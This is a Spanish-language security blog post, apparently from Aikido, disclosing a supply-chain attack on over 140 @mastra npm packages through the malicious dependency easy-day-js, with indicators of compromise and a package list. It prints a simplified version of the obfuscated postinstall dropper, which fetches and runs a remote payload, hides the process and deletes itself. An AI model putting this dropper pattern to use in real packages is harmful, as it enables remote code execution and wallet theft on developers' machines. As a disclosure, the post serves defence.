Aikido

Más de 140 paquetes populares de Mastra en npm se han visto afectados por un ataque a la cadena de suministro

Escrito por
Ilyas Makari

El 17 de junio detectamos un ataque a gran escala contra la cadena de suministro dirigido a todo el @mastra npm scope, un popular marco de trabajo de código abierto para agentes de IA. Un atacante volvió a publicar 141 paquetes en una ráfaga entre las 01:15 y las 02:00 UTC, inyectando de forma silenciosa una dependencia maliciosa en cada uno de ellos. Entre los paquetes afectados se encuentran @mastra/core, que cuenta con 918 000 descargas semanales en npm, así como mastra y create-mastra.

El script de postinstalación

A los 141 paquetes se les añadió una única dependencia nueva a su package.json: easy-day-js, un clon malicioso de la popular biblioteca de fechas dayjs. El paquete fue publicado por otra cuenta controlada por los atacantes un día antes de que se produjera la toma de control del ámbito. Es importante destacar que la versión inicial (1.11.21) estaba completamente limpia, era una copia exacta de dayjs sin ganchos de instalación. La versión maliciosa (1.11.22) apareció al día siguiente, justo en el momento en que el @mastra Se han vuelto a publicar los paquetes. Los paquetes afectados dependen de ^1.11.21, pero la resolución de npm con el símbolo de inserción incorpora automáticamente la versión maliciosa 1.11.22 como la más reciente, mientras que la auditoría de la versión fijada no revela nada sospechoso.

La versión 1.11.22 incorpora una postinstall gancho que se desliza setup.cjs, un script ofuscado que se ejecuta automáticamente durante la instalación sin necesidad de intervención por parte del usuario.

// obfuscated -- stripped down to the essential logic
const payload = await (await fetch('https://23[.]254[.]164[.]92:8000/update/49890878')).text();
const file = path.join(os.tmpdir(), crypto.randomBytes(12).toString('hex') + '.js');
fs.writeFileSync(file, payload, 'utf8');
child_process.spawn(process.execPath, [file, '23[.]254[.]164[.]123:443'], {
  detached: true, stdio: 'ignore', windowsHide: true
}).unref();
fs.rmSync(__filename, { force: true }); // self-deletes

Esto es lo que hace este script, paso a paso:

  • Recoge una carga útil de segunda fase del servidor C2 en 23[.]254[.]164[.]92:8000
  • Escribe la carga útil en un archivo con un nombre aleatorio .js archivo en el directorio temporal del sistema operativo
  • Inicia la carga útil como un proceso en segundo plano totalmente independiente, invisible en todas las plataformas (stdio: ignorar, windowsHide: true), pasando por un segundo servidor C2 23[.]254[.]164[.]123:443 como argumento
  • Se autoelimina para borrar las pruebas forenses del hook de postinstalación

La segunda fase se ejecuta como un proceso en segundo plano de larga duración que recopila información del sistema y tiene como objetivo más de 160 extensiones de monederos criptográficos para navegadores, entre las que se incluyen MetaMask, Keplr, Coinbase y otras. Establece su persistencia camuflándose como herramientas relacionadas con nodos en macOS, Windows y Linux, todas ellas conectándose con 23[.]254[.]164[.]123:443.

Similitudes con el incidente de seguridad de Axios

El procedimiento a seguir en este caso es prácticamente idéntico al de la vulnerabilidad de Axios que tratamos en marzo de 2026. En ambos ataques, el atacante evitó modificar el código del propio paquete objetivo y, en su lugar, inyectó una dependencia maliciosa, aprovechando el mecanismo de npm para postinstall gancho para ejecutar la carga útil automáticamente durante la instalación. Ambos instalaban primero una versión de señuelo limpia y, a continuación, la versión maliciosa. En el ataque a Axios, plain-crypto-js desempeñó el papel de easy-day-js se ejecuta aquí. Además, ambos «droppers» se eliminan automáticamente tras su ejecución para borrar cualquier rastro forense.

La infraestructura también sigue el mismo patrón. El dropper de Axios se conectaba a un VPS de Hostwinds en el puerto 8000. El easy-day-js El «dropper» hace lo mismo, alcanzando 23[.]254[.]164[.]92:8000 en la infraestructura de Hostwinds.

Cómo Aikido detecta esto

Si es usuario de Aikido, revise su feed central y filtre por problemas de malware. Esto aparecerá como un problema crítico de 100/100. Aikido realiza reescaneos cada noche, pero recomendamos activar un reescaneo manual ahora.

Si aún no es usuario de Aikido, puede crear una cuenta y conectar sus repositorios. Nuestra cobertura de malware está incluida en el plan gratuito, sin necesidad de tarjeta de crédito.

Para una cobertura más amplia en todo su equipo, Device Protection de Aikido le proporciona visibilidad y control sobre los paquetes de software instalados en los dispositivos de su equipo. Cubre extensiones de navegador, bibliotecas de código, plugins IDE y dependencias de compilación, todo en un solo lugar. Detenga el malware antes de que se instale.

Para una protección futura, considere Aikido Safe Chain (código abierto). Safe Chain se integra en su flujo de trabajo existente, interceptando comandos npm, npx, yarn, pnpm y pnpx y verificando los paquetes con Aikido Intel antes de la instalación.

Indicadores de Compromiso

Indicadores de red

23[.]254[.]164[.]92:8000 — C2 de primera etapa, descarga de la carga útil
23[.]254[.]164[.]123:443 — host de callback de segunda fase, que se pasa al RAT creado

Paquetes afectados

easy-day-js@1.11.22
create-mastra@1.13.1
mastra@1.13.1
@mastra/acp@0.2.2
@mastra/agent-browser@0.3.2
@mastra/agent-builder@1.0.42
@mastra/agentcore@0.2.2
@mastra/agentfs@0.1.1
@mastra/ai-sdk@1.4.6
@mastra/arize@1.2.3
@mastra/arthur@0.3.3
@mastra/astra@1.0.2
@mastra/auth@1.0.3
@mastra/auth-auth0@1.0.2
@mastra/auth-better-auth@1.0.4
@mastra/auth-clerk@1.0.3
@mastra/auth-cloud@1.1.4
@mastra/auth-firebase@1.0.1
@mastra/auth-okta@0.0.5
@mastra/auth-studio@1.2.4
@mastra/auth-supabase@1.0.2
@mastra/auth-workos@1.5.3
@mastra/azure@0.2.3
@mastra/blaxel@0.4.2
@mastra/braintrust@1.1.4
@mastra/brightdata@0.2.2
@mastra/browser-firecrawl@0.1.1
@mastra/browser-viewer@0.1.3
@mastra/chroma@1.0.2
@mastra/claude@1.0.3
@mastra/clickhouse@1.10.1
@mastra/client-js@1.24.1
@mastra/cloud@0.1.24
@mastra/cloudflare@1.4.2
@mastra/cloudflare-d1@1.0.7
@mastra/codemod@1.0.4
@mastra/convex@1.2.2
@mastra/core@1.42.1
@mastra/couchbase@1.0.4
@mastra/cursor@0.2.1
@mastra/dane@1.0.2
@mastra/datadog@1.2.5
@mastra/daytona@0.4.2
@mastra/deployer@1.42.1
@mastra/deployer-cloud@1.42.1
@mastra/deployer-cloudflare@1.1.44
@mastra/deployer-netlify@1.1.20
@mastra/deployer-vercel@1.1.38
@mastra/docker@0.3.1
@mastra/dsql@1.0.3
@mastra/duckdb@1.4.3
@mastra/dynamodb@1.0.9
@mastra/e2b@0.3.4
@mastra/editor@0.11.3
@mastra/elasticsearch@1.2.1
@mastra/engine@0.1.1
@mastra/evals@1.3.1
@mastra/express@1.3.31
@mastra/fastembed@1.1.3
@mastra/fastify@1.3.31
@mastra/files-sdk@0.2.1
@mastra/gcs@0.2.3
@mastra/github-signals@0.1.2
@mastra/google-cloud-pubsub@1.0.6
@mastra/google-drive@0.1.1
@mastra/hono@1.4.26
@mastra/inngest@1.5.2
@mastra/koa@1.5.14
@mastra/laminar@1.2.3
@mastra/lance@1.0.7
@mastra/langfuse@1.3.6
@mastra/langsmith@1.2.4
@mastra/libsql@1.13.1
@mastra/loggers@1.1.3
@mastra/longmemeval@1.0.50
@mastra/mcp@1.10.1
@mastra/mcp-docs-server@1.1.47
@mastra/mcp-registry-registry@1.0.2
@mastra/mem0@0.1.14
@mastra/memory@1.20.4
@mastra/modal@0.2.2
@mastra/mongodb@1.9.3
@mastra/mssql@1.3.2
@mastra/mysql@0.1.1
@mastra/nestjs@0.1.15
@mastra/node-audio@0.1.8
@mastra/node-speaker@0.1.1
@mastra/observability@1.14.2
@mastra/openai@1.0.2
@mastra/opencode@0.0.47
@mastra/opensearch@1.0.3
@mastra/otel-bridge@1.2.3
@mastra/otel-exporter@1.2.3
@mastra/perplexity@0.1.1
@mastra/pg@1.13.1
@mastra/pinecone@1.0.2
@mastra/playground-ui@33.0.1
@mastra/posthog@1.0.29
@mastra/qdrant@1.0.3
@mastra/rag@2.2.2
@mastra/railway@0.1.1
@mastra/react@1.0.1
@mastra/redis@1.1.3
@mastra/redis-streams@0.0.4
@mastra/s3@0.5.3
@mastra/s3vectors@1.0.7
@mastra/schema-compat@1.2.12
@mastra/sentry@1.1.4
@mastra/server@2.1.1
@mastra/slack@1.3.1
@mastra/spanner@1.1.2
@mastra/speech-azure@0.2.1
@mastra/speech-elevenlabs@0.2.1
@mastra/speech-google@0.2.1
@mastra/speech-ibm@0.2.1
@mastra/speech-murf@0.2.1
@mastra/speech-openai@0.2.1
@mastra/speech-replicate@0.2.1
@mastra/speech-speechify@0.2.1
@mastra/stagehand@0.2.5
@mastra/tavily@1.0.3
@mastra/temporal@0.1.14
@mastra/turbopuffer@1.0.3
@mastra/twilio@1.0.2
@mastra/upstash@1.1.3
@mastra/vectorize@1.0.3
@mastra/vercel@1.0.1
@mastra/voice-aws-nova-sonic@0.1.4
@mastra/voice-azure@0.11.2
@mastra/voice-cloudflare@0.12.3
@mastra/voice-deepgram@0.12.2
@mastra/voice-elevenlabs@0.12.2
@mastra/voice-gladia@0.12.2
@mastra/voice-google@0.12.3
@mastra/voice-google-gemini-live@0.12.2
@mastra/voice-inworld@0.3.1
@mastra/voice-modelslab@0.1.2
@mastra/voice-murf@0.12.3
@mastra/voice-openai@0.12.3
@mastra/voice-openai-realtime@0.12.6
@mastra/voice-playai@0.12.2
@mastra/voice-sarvam@1.0.2
@mastra/voice-speechify@0.12.2
@mastra/voice-xai-realtime@0.1.2

Compartir:

https://www.aikido.dev/blog/over-140-popular-mastra-npm-packages-hit-by-supply-chain-attack

Escanear en busca de malware

Empieza gratis
Sin tarjeta
4.7/5
¿Cansado de los falsos positivos?

Prueba Aikido como otros 100k.
Empiece ahora
Obtenga un recorrido personalizado

Con la confianza de más de 100k equipos

Reservar ahora
Escanee su aplicación en busca de IDORs y rutas de ataque reales

Con la confianza de más de 100k equipos

Empezar a escanear
Vea cómo el pentesting de IA prueba su aplicación

Con la confianza de más de 100k equipos

Empezar a probar

Asegura tu plataforma ahora

Protege tu código, la nube y el entorno de ejecución en un único sistema central.
Encuentra y corrije vulnerabilidades de forma rápida y automática.

No se requiere tarjeta de crédito | Resultados del escaneo en 32 segundos.